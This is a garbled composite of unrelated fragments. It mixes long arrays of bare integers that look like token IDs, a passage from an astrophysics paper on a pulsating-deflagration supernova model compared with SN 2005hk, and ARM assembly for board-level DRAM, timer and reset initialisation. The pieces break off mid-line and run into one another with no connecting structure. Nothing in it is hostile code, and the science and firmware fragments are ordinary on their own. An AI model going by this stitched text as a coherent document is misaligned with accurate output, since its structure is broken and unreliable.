1253, 9458, 16307, 273, 247, 1798, 3284, 313, 783, 2330, 13805, 3904, 403, 12800, 275, 253, 10688, 2534, 481, 4325, 436, 352, 310, 4518, 7985, 326, 8295, 407, 309, 7538, 84, 2168, 36807, 253, 6637, 1078, 4869, 1708, 13, 1223, 436, 310, 417, 253, 1083, 323, 31539, 3210, 13, 824, 347, 299, 15, 72, 15, 411, 24, 313, 2887, 4677, 575, 19, 273, 1214, 76, 409, 254, 7857, 66, 481, 187, 187, 3138, 5232, 318, 273, 253, 12160, 281, 47067, 41343, 323, 776, 427, 22, 1545, 1566, 323, 1264, 1027, 14496, 28853, 15, 10643, 3770, 84, 403, 1677, 4103, 281, 370, 35, 2911, 4152, 4869, 15, 380, 10688, 12425, 6492, 253, 3603, 5506, 323, 1097, 3033, 1253, 9458, 8295, 285, 11058, 273, 2677, 66, 275, 253, 16448, 22799, 9864, 15, 380, 2919, 2708, 253, 13506, 6637, 310, 10688, 14, 38059, 281, 5224, 253, 6919, 273, 34528, 2677, 66, 275, 1016, 11225, 10269, 326, 497, 1390, 23128, 407, 247, 1798, 3284, 313, 783, 2330, 13805, 3904, 403, 12800, 275, 253, 10688, 2534, 481, 10244, 13, 253, 37220, 4811, 2112, 253 ]	the end of our simulation, respectively. Only for positive values of $\epsilon_\mathrm{kin,a}$ a particle will be able to escape the gravitational potential. Otherwise, it will stay bound. ------------------------ -------------------------- -------------------------- Bound remnant Ejecta ([$\mathrm{M}_\odot$]{}) ([$\mathrm{M}_\odot$]{}) Total 1.028 0.372 C 0.422 0.043 O 0.484 0.060 Ne 0.054 0.005 Mg 0.004 0.013 Si 0.015 0.025 S 0.004 0.009 Ca 0.0003 0.001 Fe 0.004 0.031 Ni 0.025 0.187 [$\mathrm{^{56}Ni}$]{} 0.022 0.158 ------------------------ -------------------------- -------------------------- : Yields of select species for model N5def.[]{data-label="tab:yields"} Finally, we mapped the unbound tracer particles to a Cartesian grid to reconstruct the chemical composition of the explosion ejecta in the asymptotic velocity space.[^4] To this end, we used an SPH like algorithm as described in @kromer2010a. The resulting ejecta structure is shown in Fig. \[fig:composition\]. In contrast to the simulation by @jordan2012b, our model shows no pronounced large-scale composition asymmetry. There are, however, small scale anisotropies due to the turbulent evolution of the deflagration flame. The density jump at about 2000[$\mathrm{km\, s^{-1}}$]{} is produced during the strongest pulsation of the bound core (at $t \sim 12$s): After significant initial expansion due to burning, the mostly unburned inner parts of the ejecta start falling back inwards. This leads to the formation of a central compact core, which, after maximum compression, starts to expand again. At the same time, outer layers are still infalling and an accretion shock forms at the edge of the dense core [cf. @bravo2009a]. In our model, maximum temperatures in the accretion shock just reach $10^9$K at densities of $5 \times 10^5\, {\ensuremath{\mathrm{g} \, \mathrm{cm}^{-3}}}$, therefore no detonation will be triggered (for critical conditions see @roepke2007a and @seitenzahl2009b). ![image](n5_comp){width="0.8\linewidth"} Synthetic observables {#sec:observables} ===================== To obtain synthetic spectra and light curves for our model, we used the time-dependent 3D Monte Carlo radiative transfer code <span style="font-variant:small-caps;">artis</span> [@kromer2009a; @sim2007b]. For the radiative transfer simulation we mapped the abundance and density structure of the unbound ejecta at the end of the hydrodynamic simulations (by which point homologous expansion is a good approximation) to a $50^3$ Cartesian grid and followed the propagation of $10^8$ photon packets for 111 logarithmically-spaced time steps between 2 and 120d after explosion. To speed up the initial phase, a grey approximation, as discussed by @kromer2009a, was used in optically thick cells, and the initial 10 time steps (i.e. the initial three days after the explosion) were treated in local thermodynamic equilibrium (LTE). For our simulation we used the ‘big[\_](_)gf-4’ atomic data set of @kromer2009a with a total of ${\sim}\,8.2\times10^6$ bound–bound transitions. The resulting broad-band light curves and a spectral time series are shown in Figs. \[fig:lightcurves\] and \[fig:specplot\] and compared to SN 2005hk as a proxy for SN 2002cx-like objects. Broad-band light curves {#sec:lightcurves} ----------------------- ![image](n5_9lcs_los) As reported by @jha2006a and @phillips2007a, SN 2002cx-like objects are characterised by distinct spectral features and light curves. In the following, we will investigate to which extent our model is capable to reproduce these features. From the broad-band light curves in Fig. \[fig:lightcurves\] it is immediately obvious that our model matches the low peak luminosities of 2002cx-like SNe quite well. This, of course, is not so surprising, since we picked a model with a [$\mathrm{^{56}Ni}$]{} mass close to that observationally derived for SN 2005hk. However, we do not only get the correct peak luminosities but also approximately the right colours at maximum. Moreover, our model naturally explains the absence of secondary maxima in the NIR bands. This is a consequence of the turbulent burning, which leads to an almost completely mixed ejecta structure with a roughly constant iron-group element (IGE) mass fraction at all velocities (see Figs. \[fig:hydro\] and \[fig:composition\]). @kasen2006b has shown that SN ejecta with such a homogenized composition are not expected to show secondary maxima in the NIR. Other peculiarities of 2002cx-like SNe are their slowly declining light curves in $R$ and redder bands and consequently also in UVOIR bolometric. In this respect our model has some shortcomings. While it nicely reproduces the post-maximum decline in the $U$, $B$ and $V$ bands, our post-maximum light curve evolution is too fast particularly in $R$ and redder bands, but also in UVOIR bolometric. This could be a consequence of our low ejecta mass of only 0.37[$\mathrm{M}_\odot$]{}, which is not able to trap enough $\gamma$-radiation after maximum. We note, however, that the synthetic light curves in Fig. \[fig:lightcurves\] are only powered by radionuclides in the ejecta. Thereby we neglect any possible influence from the bound remnant, a puffed-up stellar object heated by the explosion, and also from the [$\mathrm{^{56}Ni}$]{} that falls back onto the remnant (see Table \[tab:yields\]). After maximum light, when the ejecta start to become optically thin, the bound remnant will be exposed and it could kick in as an additional luminosity source. We will discuss this intriguing possibility in Section \[sec:remnant\]. However, looking at the overall shape of the early light curves, an insufficient trapping of radiation in the ejecta and thus too low ejecta mass seems to be more likely. With a $B$-band rise time of 11.2d, our model evolves somewhat too fast compared to the rise time of SN 2005hk, for which [@phillips2007a] find a value of $15\pm1$d. Optical spectra --------------- ![Spectral evolution of model N5def from -6.3 to 14.6 days (epochs are given with respect to $B$-band maximum). For comparison the observed spectra of the 2002cx-like SN 2005hk [@phillips2007a] are over-plotted in black. The observations were de-reddened and de-redshifted according to the values of @phillips2007a and @sahu2008a, respectively.[]{data-label="fig:specplot"}](specplot){width="\linewidth"} @jha2006a and @phillips2007a also report peculiar features for the spectra of 2002cx-like SNe. At pre-maximum epochs they find an SN 1991T-like spectrum with a blue continuum, weak absorption features at ${\sim}\,4200$ and 5000Åand no strong [Ca[ii]{}]{} absorption features. As can be seen from the top panels of Fig. \[fig:specplot\], our model naturally predicts this behaviour, characteristic of an ionisation state higher than in normal SNe Ia. Moreover, 2002cx-like SNe show a significant contribution from IGEs to the spectra at all epochs, while normal SNe Ia do not show strong IGE features until well-after maximum light. Due to the strong mixing of the ejecta, our model is almost homogenized and thus predicts strong IGE contributions at all epochs. This is illustrated in Fig. \[fig:specelementsplot\]. There, the colour coding below the synthetic spectrum indicates the fraction of escaping packets in each wavelength bin that were last emitted by bound–bound transitions of a particular element (the associated atomic numbers are illustrated in the colour bar). From this it is clearly visible that emission by IGEs already dominates the spectrum before maximum light, while this is not the case for stratified models, such as e.g. W7 (see figure 2 of @kromer2009a). ![Formation of the UV to NIR SED for our N5def model for three different snapshots. Epochs are given relative to $B$-band maximum. The colour coding indicates the elements responsible for both bound–bound emission and absorption of quanta in the Monte Carlo simulation. The region below the synthetic spectrum is colour-coded to indicate the fraction of escaping quanta in each wavelength bin that were last emitted by a particular element (the associated atomic numbers are illustrated in the colour bar). Similarly, the coloured regions along the
[ 50275, 17, 89, 24581, 1438, 25616, 50271, 33, 470, 89, 19, 39, 17, 187, 50274, 15, 3418, 50275, 17, 89, 26, 35, 933, 18104, 50271, 33, 470, 89, 19, 39, 21, 187, 50274, 15, 3418, 50275, 17, 89, 17, 38, 8320, 34, 361, 50271, 33, 470, 89, 19, 39, 25, 187, 50274, 15, 3418, 50275, 17, 89, 28315, 11838, 1857, 50271, 33, 246, 51, 6739, 187, 50274, 15, 3418, 50275, 17, 89, 1418, 3677, 36, 18, 50271, 33, 45479, 535, 50274, 15, 35074, 2012, 64, 29000, 64, 26320, 187, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 3141, 938, 1348, 50254, 33, 6618, 49703, 20, 5712, 1376, 187, 50274, 1344, 50275, 83, 19, 13, 544, 83, 17, 62, 535, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 23, 68, 42861, 50254, 33, 24415, 49703, 20, 4110, 51, 187, 50274, 392, 83, 50275, 83, 18, 13, 426, 17, 89, 15017, 1418, 187, 50274, 1344, 50275, 83, 18, 13, 544, 83, 17, 62, 535, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 3141, 938, 1229, 50254, 33, 34747, 49703, 20, 187, 50274, 16047, 50275, 83, 19, 13, 1852, 24, 187, 50274, 16047, 50275, 83, 18, 13, 391, 19, 13, 298, 3433, 1852, 25, 187, 50274, 1344, 50275, 83, 18, 13, 544, 83, 17, 62, 535, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 23, 68, 49455, 50254, 33, 9423, 4110, 51, 323, 49703, 20, 22639, 187, 50274, 15, 423, 78, 535, 50274, 15, 35074, 2451, 64, 29000, 64, 26320, 187, 50274, 392, 83, 50275, 83, 18, 13, 544, 83, 17, 62, 187, 50274, 46372, 50275, 83, 18, 13, 391, 18, 13, 1852, 17, 30962, 18446, 15651, 187, 50274, 16047, 50275, 83, 19, 13, 391, 18, 13, 298, 18356, 1852, 1093, 187, 50274, 21630, 50275, 83, 19, 13, 1852, 17, 89, 520, 187, 50274, 15, 423, 78, 535, 50274, 15, 35074, 2590, 64, 29000, 64, 26320, 187, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 3141, 17490, 36, 50254, 33, 5201, 494, 49703, 20, 187, 50274, 16047, 50275, 83, 19, 13, 1852, 17, 33392, 187, 50274, 16047, 50275, 83, 18, 13, 391, 19, 13, 298, 3433, 1852, 25, 187, 50274, 1344, 50275, 83, 18, 13, 544, 83, 17, 62, 535, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 23, 68, 42861, 50254, 33, 24415, 49703, 20, 4110, 51, 187, 50274, 392, 83, 50275, 83, 18, 13, 426, 17, 89, 15017, 1418, 187, 50274, 1344, 50275, 83, 18, 13, 544, 83, 17, 62, 187, 50274, 15, 423, 78, 535, 50274, 15, 35074, 2012, 64, 37640, 64, 43488, 360, 187, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 23, 1518, 2759, 187, 50274, 392, 83, 50275, 83, 18, 13, 426, 17, 89, 8971, 1418, 187, 50274, 1344, 50275, 83, 18, 13, 544, 83, 17, 62, 187, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 23, 8012, 36, 187, 50274, 392, 83, 50275, 83, 18, 13, 426, 17, 89, 19, 1418, 1518, 187, 50274, 1344, 50275, 83, 18, 13, 544, 83, 17, 62, 187, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 23, 1518, 1438, 187, 50274, 392, 83, 50275, 83, 18, 13, 426, 17, 89, 23113, 37, 187, 50274, 39667, 50275, 83, 19, 13, 391, 19, 13, 391, 24, 187, 50274, 39667, 50275, 83, 18, 13, 391, 18, 13, 391, 19, 13, 298, 3433, 1852, 25, 187, 50274, 395, 50275, 83, 19, 13, 391, 23, 13, 1852, 17, 33392, 187, 50274, 39667, 50275, 83, 18, 13, 391, 18, 13, 391, 19, 13, 298, 3433, 1852, 21, 187, 50274, 1344, 50275, 83, 18, 13, 544, 83, 17, 62, 187, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 3763, 19765, 187, 50274, 392, 83, 50275, 83, 19, 13, 426, 17, 89, 9439, 10695, 187, 50274, 15, 423, 78, 535, 50274, 15, 35074, 3379, 64, 15741, 64, 3615, 187, 50274, 395, 50275, 83, 18, 13, 391, 18, 13, 1852, 17, 33392, 187, 50274, 21630, 50275, 83, 18, 13, 1852, 26, 187, 50274, 1911, 7332, 391, 18, 13, 391, 18, 13, 1852, 17, 89, 1787, 187, 50274, 17014, 391, 18, 13, 391, 18, 13, 1852, 17, 89, 1229, 187, 50274, 1344, 50275, 83, 18, 13, 544, 83, 17, 62, 187, 50274, 15, 423, 78, 187, 187, 16, 21723, 27591, 187, 2263, 11457, 5602, 287, 8072, 187, 209, 21723, 27591, 16, 187, 187, 15, 3129, 24595, 1698, 5251, 64, 4478, 187, 676, 5251, 64, 4478, 27, 187, 187, 4478, 64, 69, 3358, 27, 187, 50274, 3122, 5321, 298, 83, 1738, 187, 50274, 16047, 50275, 83, 21, 13, 298, 83, 535, 50274, 16, 7631, 2015, 1134, 187, 50271, 23527, 41126, 18809, 1163, 22929, 187, 50273, 7631, 2015, 424, 8480, 187, 50274, 3122, 24415, 329, 25435, 1685, 5569, 1617, 1738, 187, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 23, 9439, 187, 50274, 392, 83, 50275, 83, 18, 13, 426, 17, 89, 12648, 1703, 18, 34, 2941, 187, 50274, 1344, 50275, 83, 18, 13, 544, 83, 17, 62, 187, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 48616, 2759, 187, 50274, 392, 83, 50275, 83, 18, 13, 426, 17, 89, 5831, 1418, 187, 50274, 1344, 50275, 83, 18, 13, 544, 83, 17, 62, 187, 50274, 1911, 50275, 83, 17, 13, 391, 17, 13, 1852, 17, 89, 21, 187, 50274, 16047, 50275, 83, 18, 13, 1852, 17, 89, 17, 187, 50274, 1344, 50275, 83, 18, 13, 544, 83, 17, 62, 535, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 23, 70, 6914, 187, 50274, 392, 83, 50275, 83, 18, 13, 426, 17, 89, 1036, 2055, 66, 25, 66, 25, 187, 50274, 1344, 50275, 83, 18, 13, 544, 83, 17, 62, 535, 50274, 3122, 41126, 969, 1738, 187, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 23, 70, 938, 1967, 50254, 33, 2451, 3809, 14932, 7908, 187, 50274, 392, 83, 50275, 83, 19, 13, 426, 17, 89, 2904, 8551, 187, 50274, 392, 83, 50275, 83, 18, 13, 544, 83, 17, 62, 187, 50274, 85, 296, 50275, 83, 18, 13, 391, 19, 187, 50274, 1257, 82, 50275, 1615, 5858, 64, 7053, 64, 19511, 535, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 49082, 9104, 187, 50274, 392, 83, 50275, 83, 20, 13, 544, 83, 17, 62, 187, 50274, 21630, 50275, 83, 20, 13, 1852, 17, 89, 17, 187, 50274, 1257, 82, 50275, 5478, 64, 7053, 64, 19511, 187, 50274, 1911, 50275, 83, 17, 13, 391, 17, 13, 1852, 17, 89, 2125, 187, 50274, 16047, 50275, 83, 20, 13, 1852, 17, 89, 2357, 187, 50274, 1344, 50275, 83, 20, 13, 544, 83, 17, 62, 187, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 3547, 15017, 50254, 33, 27671, 3302, 33324, 8749, 281, 470, 89, 18, 70, 3547, 15017, 187, 50274, 1344, 50275, 83, 18, 13, 544, 83, 17, 62, 187, 50274, 1911, 50275, 83, 17, 13, 391, 17, 13, 1852, 17, 89, 2125, 50254, 50276, 33, 27671, 3302, 33324, 8749, 281, 470, 89, 18, 70, 3547, 19765, 187, 50274, 1344, 50275, 83, 18, 13, 544, 83, 17, 62, 187, 50274, 1911, 50275, 83, 17, 13, 391, 17, 13, 1852, 17, 89, 2125, 50254, 50276, 33, 27671, 3302, 33324, 8749, 281, 470, 89, 18, 70, 3547, 933, 68, 187, 50274, 1344, 50275, 83, 18, 13, 544, 83, 17, 62, 187, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 23, 70, 18202, 68, 50254, 33, 2590, 3809, 14932, 7908, 187, 50274, 1344, 50275, 83, 19, 13, 544, 83, 17, 62, 187, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 23, 70, 17490, 68, 50254, 33, 2590, 3698, 21428, 14932, 7908, 187, 50274, 392, 83, 50275, 83, 18, 13, 544, 83, 17, 62, 187, 50274, 395, 50275, 83, 18, 13, 391, 18, 13, 1852, 17, 89, 520, 187, 50274, 1344, 50275, 83, 18, 13, 544, 83, 17, 62, 187, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 49082, 520, 68, 50254, 33, 15042, 2622, 8989, 4758, 187, 50274, 392, 83, 50275, 83, 18, 13, 426, 17, 89, 13269, 15651, 20, 50254, 33, 2879, 4022, 15, 2693, 15, 3071, 187, 50274, 1344, 50275, 83, 18, 13, 544, 83, 17, 62, 187, 50274, 67, 50273, 1615, 5858, 64, 7053, 64, 19511, 187, 187, 5478, 64, 7053, 64, 19511, 27, 187, 4, 16238, 329, 27127, 7722, 64, 25844, 64, 47885, 64, 18129, 64, 47825, 187, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 49082, 5525, 187, 50274, 392, 83, 50275, 83, 18, 13, 426, 17, 89, 40094, 187, 50274, 1344, 50275, 83, 18, 13, 544, 83, 17, 62, 187, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 49082, 8897, 187, 50274, 392, 83, 50275, 83, 18, 13, 426, 17, 89, 1418, 21, 27496, 187, 50274, 1344, 50275, 83, 18, 13, 544, 83, 17, 62, 187, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 49082, 361, 68, 50254, 33, 8046, 13525, 14932, 187, 50274, 392, 83, 50275, 83, 18, 13, 426, 17, 89, 8551, 1610, 187, 50274, 1344, 50275, 83, 18, 13, 544, 83, 17, 62, 187, 4, 7271, 187, 50274, 16, 46928, 24415, 418, 5077, 3708, 1163, 22929, 33684, 8480, 187, 50274, 16047, 50275, 83, 19, 13, 1852, 17, 50254, 50270, 1214, 873, 391, 19, 426, 470, 13, 1959, 4337, 187, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 24, 2597, 8897, 187, 50274, 16047, 50275, 83, 18, 13, 1852, 17, 89, 24, 187, 50274, 1344, 50275, 83, 18, 13, 544, 83, 17, 62, 187, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 24, 2597, 361, 68, 187, 50274, 16047, 50275, 83, 18, 13, 1852, 17, 89, 20, 187, 50274, 1344, 50275, 83, 18, 13, 544, 83, 17, 62, 187, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 3141, 1967, 938, 187, 50274, 1344, 50275, 83, 19, 13, 544, 83, 17, 62, 187, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 3141, 1967, 1706, 187, 50274, 1344, 50275, 83, 19, 13, 544, 83, 17, 62, 187, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 24, 2597, 5525, 187, 50274, 1344, 50275, 83, 19, 13, 544, 83, 17, 62, 187, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 24, 2597, 9104, 187, 50274, 1344, 50275, 83, 19, 13, 544, 83, 17, 62, 187, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 24, 2597, 520, 68, 187, 50274, 1344, 50275, 83, 19, 13, 544, 83, 17, 62, 187, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 24, 2597, 11494, 50254, 33, 1239, 2590, 187, 50274, 392, 83, 50275, 83, 18, 13, 544, 83, 17, 62, 187, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 24, 2597, 12058, 50254, 33, 1239, 2590, 187, 50274, 392, 83, 50275, 83, 18, 13, 544, 83, 17, 62, 187, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 24, 2597, 8897, 50254, 33, 1239, 2590, 187, 50274, 392, 83, 50275, 83, 18, 13, 544, 83, 17, 62, 187, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 3141, 17615, 68, 50254, 33, 1239, 2590, 187, 50274, 392, 83, 50275, 83, 18, 13, 544, 83, 17, 62, 187, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 3141, 69, 520, 68, 50254, 33, 1239, 2590, 187, 50274, 392, 83, 50275, 83, 18, 13, 544, 83, 17, 62, 187, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 3141, 70, 520, 68, 50254, 33, 1239, 2590, 187, 50274, 392, 83, 50275, 83, 18, 13, 544, 83, 17, 62, 187, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 3141, 71, 520, 68, 50254, 33, 1239, 2590, 187, 50274, 392, 83, 50275, 83, 18, 13, 544, 83, 17, 62, 187, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70 ]	0x08080607 @ 0x2F0 .word 0x9B000900 @ 0x2F4 .word 0x0E400A00 @ 0x2F8 .word 0x99714545 @ tRFC .word 0x000071C1 @ PLL .macro init_delay_timer ldr r0, =0x1e782024 @ Set Timer3 Reload str r2, [r0] ldr r0, =0x1e6c0038 @ Clear Timer3 ISR ldr r1, =0x00040000 str r1, [r0] ldr r0, =0x1e782030 @ Enable Timer3 mov r2, #7 mov r1, r2, lsl #8 str r1, [r0] ldr r0, =0x1e6c0090 @ Check ISR for Timer3 timeout .endm .macro check_delay_timer ldr r1, [r0] bic r1, r1, #0xFFFBFFFF mov r2, r1, lsr #18 cmp r2, #0x01 .endm .macro clear_delay_timer ldr r0, =0x1e78203C @ Disable Timer3 mov r2, #0xF mov r1, r2, lsl #8 str r1, [r0] ldr r0, =0x1e6c0038 @ Clear Timer3 ISR ldr r1, =0x00040000 str r1, [r0] .endm .macro init_spi_checksum ldr r0, =0x1e620084 ldr r1, =0x20010000 str r1, [r0] ldr r0, =0x1e62008C ldr r1, =0x20000200 str r1, [r0] ldr r0, =0x1e620080 ldr r1, =0x0000000D orr r2, r2, r7 orr r1, r1, r2, lsl #8 and r2, r6, #0xF orr r1, r1, r2, lsl #4 str r1, [r0] ldr r0, =0x1e620008 ldr r2, =0x00000800 .endm .macro print_hex_char and r1, r1, #0xF cmp r1, #9 addgt r1, r1, #0x37 addle r1, r1, #0x30 str r1, [r0] .endm /**************************************************************************** Calibration Macro End ***************************************************************************/ .globl lowlevel_init lowlevel_init: init_dram: / save lr / mov r4, lr /***************************************** Initial Reset Procedure : Begin ****************************************/ / Clear AHB bus lock condition / ldr r0, =0x1e600000 ldr r1, =0xAEED1A03 str r1, [r0] ldr r0, =0x1e600084 ldr r1, =0x00010000 str r1, [r0] add r0, r0, #0x4 mov r1, #0x0 str r1, [r0] ldr r0, =0x1e6e2000 ldr r1, =0x1688a8a8 str r1, [r0] / Reset again / ldr r0, =0x1e6e2070 @ check fast reset flag ldr r2, =0x08000000 ldr r1, [r0] tst r1, r2 beq bypass_first_reset ldr r0, =0x1e785010 ldr r3, [r0] cmp r3, #0x0 beq start_first_reset add r0, r0, #0x04 mov r3, #0x77 str r3, [r0] ldr r0, =0x1e720004 @ Copy initial strap register to 0x1e720004 str r1, [r0] add r0, r0, #0x04 @ Copy initial strap register to 0x1e720008 str r1, [r0] add r0, r0, #0x04 @ Copy initial strap register to 0x1e72000c str r1, [r0] ldr r0, =0x1e6e207c @ clear fast reset flag str r2, [r0] ldr r0, =0x1e6e203c @ clear watchdog reset flag ldr r1, [r0] and r1, r1, #0x01 str r1, [r0] ldr r0, =0x1e78501c @ restore normal mask setting ldr r1, =0x023FFFF3 @ added 2016.09.06 str r1, [r0] b bypass_first_reset start_first_reset: #ifdef ASTMMC_INIT_RESET_MODE_FULL ldr r0, =0x1e785004 ldr r1, =0x00000001 str r1, [r0] ldr r0, =0x1e785008 ldr r1, =0x00004755 str r1, [r0] ldr r0, =0x1e78500c @ enable Full reset ldr r1, =0x00000033 str r1, [r0] #else /** Clear LPC status : Begin ***/ mov r2, #0 @ set r2 = 0, freezed ldr r0, =0x1e787008 mov r1, #0x7 str r1, [r0] ldr r0, =0x1e78700c mov r1, #0x3 str r1, [r0] ldr r0, =0x1e787020 str r2, [r0] ldr r0, =0x1e787034 str r2, [r0] ldr r0, =0x1e787004 str r2, [r0] ldr r0, =0x1e787010 str r2, [r0] ldr r0, =0x1e78701c str r2, [r0] ldr r0, =0x1e787014 @ read clear ldr r1, [r0] ldr r0, =0x1e787018 @ read clear ldr r1, [r0] ldr r0, =0x1e787008 @ read clear ldr r1, [r0] ldr r0, =0x1e78301c @ read clear ldr r1, [r0] ldr r0, =0x1e78d01c @ read clear ldr r1, [r0] ldr r0, =0x1e78e01c @ read clear ldr r1, [r0] ldr r0, =0x1e78f01c @ read clear ldr r1, [r0] ldr r0, =0x1e
[ 43256, 4830, 253, 2553, 273, 247, 5148, 13, 697, 14465, 15816, 1355, 8322, 273, 2341, 285, 2489, 9049, 715, 581, 273, 697, 1142, 6325, 45228, 15, 380, 14465, 4745, 2965, 896, 1066, 281, 2406, 2341, 2308, 285, 25526, 1708, 15, 831, 1232, 310, 5506, 323, 253, 1029, 298, 8976, 273, 18494, 313, 2841, 27490, 481, 187, 187, 510, 2448, 1847, 23517, 26864, 310, 253, 3565, 32297, 12156, 279, 18011, 273, 253, 1986, 2077, 285, 369, 806, 278, 26082, 275, 8210, 15, 380, 298, 8976, 273, 247, 5148, 310, 1955, 281, 697, 18719, 13403, 15, 187, 187, 38418, 326, 30283, 7006, 403, 1077, 1308, 1522, 15, 11683, 273, 247, 3490, 1543, 275, 751, 14, 31094, 13291, 275, 253, 9266, 3551, 1512, 2810, 281, 581, 1529, 13, 8479, 253, 9266, 281, 439, 2569, 15, 2091, 247, 3490, 310, 3732, 281, 247, 5148, 13, 253, 1959, 14, 5449, 272, 14465, 476, 15813, 275, 875, 253, 17429, 49424, 285, 3657, 731, 432, 3551, 275, 3057, 15, 30778, 4023, 40865, 326, 452, 644, 19185, 342, 4166, 20661, 2469, 581, 1529, 15, 1284, 247, 906, 13, 18494, 403, 1077, 4691, 282, 494, 285, 17451, 587, 15, 1583, 476, 320, 10546, 38086, 715, 15029, 13, 14436, 715, 6906, 14526, 13, 390, 7320, 715, 6906, 20343, 15, 187, 187, 36, 18568, 26253, 980, 273, 6365, 932, 187, 187, 2042, 368, 3078, 281, 1056, 247, 8031, 273, 8931, 28394, 13, 368, 1537, 1705, 598, 342, 271, 11461, 751, 253, 581, 2011, 275, 5317, 27490, 15, 187, 187, 3039, 8931, 28394, 403, 24982, 13, 1016, 20946, 3828, 13840, 715, 253, 1355, 8470, 835, 1027, 28394, 1705, 2366, 15, 1639, 375, 383, 22485, 46926, 253, 2408, 273, 6325, 2317, 285, 310, 849, 5148, 10917, 403, 10912, 275, 247, 9266, 15, 187, 187, 1552, 42062, 285, 3963, 11461, 273, 253, 5148, 15254, 46926, 253, 6325, 2317, 875, 731, 15, 1639, 375, 383, 22485, 261, 253, 954, 5919, 1039, 281, 3584, 19474, 5113, 15, 380, 10917, 275, 247, 5148, 9266, 403, 10912, 275, 2074, 6127, 13, 1925, 2810, 14, 33318, 5289, 15, 29062, 18494, 5283, 581, 273, 2067, 2905, 2810, 14, 33318, 5289, 13, 347, 2011, 275, 5317, 27490, 15, 187, 187, 10342, 6313, 18494, 10748, 5283, 581, 273, 841, 1264, 8642, 22485, 16669, 15, 187, 187, 2374, 253, 2080, 1669, 310, 253, 2133, 14, 34872, 23664, 313, 67, 550, 10, 2605, 15, 496, 326, 9266, 13, 5148, 10917, 26263, 253, 4314, 18803, 273, 247, 23636, 2112, 342, 581, 13112, 275, 253, 1077, 4055, 15, 380, 19915, 1180, 273, 1016, 13112, 275, 253, 2133, 14, 34872, 23664, 2605, 310, 854, 15, 496, 253, 2454, 14, 34872, 23664, 313, 71, 550, 10, 2605, 13, 627, 403, 4314, 10917, 387, 1016, 7145, 273, 253, 23636, 285, 2800, 10917, 275, 253, 4055, 273, 1016, 2454, 15, 380, 19915, 1180, 273, 1016, 13112, 275, 253, 2454, 14, 34872, 23664, 2605, 310, 1249, 15, 380, 10917, 275, 247, 15442, 21805, 2810, 14, 33318, 313, 73, 7693, 10, 2605, 671, 452, 247, 19915, 1180, 273, 1249, 13, 533, 20642, 273, 436, 1511, 403, 15442, 5154, 595, 16745, 2581, 685, 23664, 15, 187, 187, 3074, 16376, 187, 187, 1145, 23924, 261, 247, 7802, 9924, 273, 767, 390, 625, 3603, 13, 387, 1878, 581, 273, 534, 310, 247, 5148, 15, 1422, 403, 3164, 7615, 342, 690, 38010, 824, 347, 27188, 285, 26247, 313, 2841, 27490, 481, 2652, 515, 310, 271, 23924, 273, 14295, 285, 20458, 15, 49134, 310, 271, 23924, 273, 14295, 285, 20596, 15, 1876, 16376, 403, 7744, 908, 275, 18461, 4957, 984, 253, 3607, 273, 841, 5148, 24170, 403, 1027, 13, 285, 4536, 625, 4217, 13, 685, 1110, 273, 247, 6313, 5148, 15, 1198, 1650, 13, 26247, 310, 12150, 685, 14295, 285, 625, 4354, 5248, 15, 2652, 515, 310, 1077, 4691, 282, 494, 13, 285, 697, 19463, 3607, 1056, 352, 4217, 323, 12256, 13225, 15, 187, 187, 39674, 2721, 13, 271, 23924, 273, 14295, 285, 20596, 13, 556, 644, 275, 897, 1580, 9129, 2069, 15, 380, 49134, 11362, 3047, 253, 2559, 897, 273, 18494, 2581, 685, 8805, 323, 8914, 13, 5657, 13, 285, 38323, 5113, 15, 2652, 515, 13, 271, 23924, 273, 14295, 285, 20458, 13, 310, 7561, 908, 275, 12256, 13225, 751, 253, 29154, 292, 285, 246, 409, 15801, 15, 187, 187, 6812, 1241, 403, 247, 1077, 1774, 966, 273, 38010, 15, 380, 1142, 3510, 273, 2870, 1241, 403, 8558, 